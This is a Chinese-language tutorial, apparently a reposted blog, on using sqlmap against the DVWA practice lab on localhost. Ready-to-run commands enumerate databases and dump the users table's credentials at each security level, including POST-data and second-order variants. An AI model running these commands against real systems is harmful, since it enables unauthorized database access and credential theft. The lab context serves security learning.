DVWA---SQL注入之Sqlmap

目录

一、Sqlmap

1.简介

2.基本步骤

3.命令

二、SQL Injection

1.low

 2.Medium.

 3.high

 4.impossible


一、Sqlmap

1.简介

        Sqlmap是一款自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。

采用五种独特的SQL注入技术,分别是:

  • 基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
  • 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
  • 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
  • 联合查询注入,可以使用union的情况下的注入。
  • 堆查询注入,可以同时执行多条语句的执行时的注入。
     

2.基本步骤

    查看sqlmap相关参数,命令格式为:sqlmap -h
    找到一个可利用的网址,判断网站数据库类型,命令格式为:sqlmap -u
    确定数据库类型为mysql后,查看存在的数据库,命令格式为:sqlmap -u 目标网址–dbs
    查看数据库中存在的表,命令格式为:sqlmap -u 目标网址–tables -D 数据库名
    获取表中的字段,命令格式为:sqlmap -u 目标网址– columns -T 表名 -D 数据库名
    猜解出字段,查看表里的存储内容,命令格式为:sqlmap -u 目标网址– dump -C 字段名称 -T 表名 -D 数据库名

在这之前有几个小知识点

    sqlmap需要我们输入参数,其中最重要的参数是SQL注入的目标地址。首先要判断测试的目标地址是否需要登录,如果需要登录,则将登陆的Cookie作为参数传递给sqlmap。
        python sqlmap.py -u “目标地址” --cookie=“cookie值” --batch
    –batch用来指明自动化操作,否则每一个步骤都需要确认;
    –current-bd查看当前数据库名称
    -D DB 指定要枚举的 DBMS 数据库
    -T TBL 指定要枚举的 DBMS 数据表
    -C COL 指定要枚举的 DBMS 数据列
    -X EXCLUDECOL 指定要排除的 DBMS 数据列
    -U USER 指定枚举的 DBMS 用户

3.命令

sqlmap.py -u "http://xxx//"  --batch

sqlmap.py -u "http://xxx//"  --cookie="获取的cookie" 

#查询数据库
sqlmap.py -u "http://xxx//"  --cookie="获取的cookie"  -dbs

#查看dvwa数据库的表 
sqlmap.py -u "http://xxx//"  --cookie="获取的cookie"  -D data -tables

#查看表中的字段名 
sqlmap.py -u "http://xxx//"  --cookie="获取的cookie"  -D data -T users --columns

#获取字段的信息
sqlmap.py -u "http://xxx//"  --cookie="获取的cookie"  -D data -T users -C user,password --dump

二、SQL Injection

1.low

我们输入id=1,得到网址 url 

sqlmap进行sql注入,查看信息。

sqlmap.py "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch

发现需要登录,在网页获取到cookie。

 查看数据库

sqlmap.py "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=keuqaijadcudeooggiv3ch4gom;security=low" --batch -dbs

 

 查看dvwa数据库的表

python sqlmap.py "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=keuqaijadcudeooggiv3ch4gom;security=low" --batch -D dvwa -tables

 查看表中的字段名

python sqlmap.py "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=keuqaijadcudeooggiv3ch4gom;security=low" --batch -D dvwa -T users --columns

 获取字段的信息

python sqlmap.py "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=keuqaijadcudeooggiv3ch4gom;security=low" --batch -D dvwa -T users -C user,password --dump

可以看到用户名和密码已经被我们查询到了。

 2.Medium.

我们输入id=1,url没有反应

 我们利用burpsuit抓包分析, 来查看post方式提交的数据。

这里是使用 post 方式进行传输的,所以我们这里需要使用 --data 参数把数据引入过来

 查看信息

python sqlmap.py "http://127.0.0.1/dvwa/vulnerabilities/sqli/#" --data="id=1&Submit=Submit" --cookie="PHPSESSID=keuqaijadcudeooggiv3ch4gom;security=medium" --batch

 

查看数据库

python sqlmap.py "http://127.0.0.1/dvwa/vulnerabilities/sqli/#" --data="id=1&Submit=Submit" --cookie="PHPSESSID=keuqaijadcudeooggiv3ch4gom;security=medium" --batch -dbs

查看dvwa数据库下的表

python sqlmap.py "http://127.0.0.1/dvwa/vulnerabilities/sqli/#" --data="id=1&Submit=Submit" --cookie="PHPSESSID=keuqaijadcudeooggiv3ch4gom;security=medium" --batch -D dvwa -tables

查看字段名

python sqlmap.py "http://127.0.0.1/dvwa/vulnerabilities/sqli/#" --data="id=1&Submit=Submit" --cookie="PHPSESSID=keuqaijadcudeooggiv3ch4gom;security=medium" --batch -D dvwa -T users --columns

 获取字段中的信息

python sqlmap.py "http://127.0.0.1/dvwa/vulnerabilities/sqli/#" --data="id=1&Submit=Submit" --cookie="PHPSESSID=keuqaijadcudeooggiv3ch4gom;security=medium" --batch -D dvwa -T users -C user,password --dump

 3.high

        我们发现点击之后会在跳到另一个页面,所以这个想使用sqlmap进行爆破,我们还需要引入一个知识点–second-order(二阶sql注入)
        有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假。
-–second-order后面跟一个判断页面的URL地址。

利用burpsuite进行抓包,因为这里无法在页面上获取 post 或者 get 的值。

sqlmap>python sqlmap.py "http://127.0.0.1/dvwa/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --cookie="security=high;PHPSESSID=keuqaijadcudeooggiv3ch4gom" --second-url "http://127.0.0.1/dvwa/vulnerabilities/sqli/" --batch 

 以下就是和low medium级别 大致相同

获得数据

python sqlmap.py "http://127.0.0.1/dvwa/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --cookie="security=high;PHPSESSID=keuqaijadcudeooggiv3ch4gom" --second-url "http://127.0.0.1/dvwa/vulnerabilities/sqli/" --batch -D dvwa -T users -C user,password --dump

 4.impossible

这一级别加入了token验证,我们bp抓包来获取

 sqlmap跑一下,试试,居然成功了。

python sqlmap.py "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit&user_token=f237dc0df1d6cdf589f09179a99fa7aa#" --cookie="security=impossible;PHPSESSID=keuqaijadcudeooggiv3ch4gom" --batch

 查看一下数据

python sqlmap.py "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit&user_token=581a16aa4511d8c46a3ea1834973122a#" --cookie="security=impossible;PHPSESSID=0mcqc7ludqslr2se50lsaas3g0" --batch -D dvwa -T users -C user,password --dump

猜你喜欢

转载自blog.csdn.net/m0_65712192/article/details/128005589
今日推荐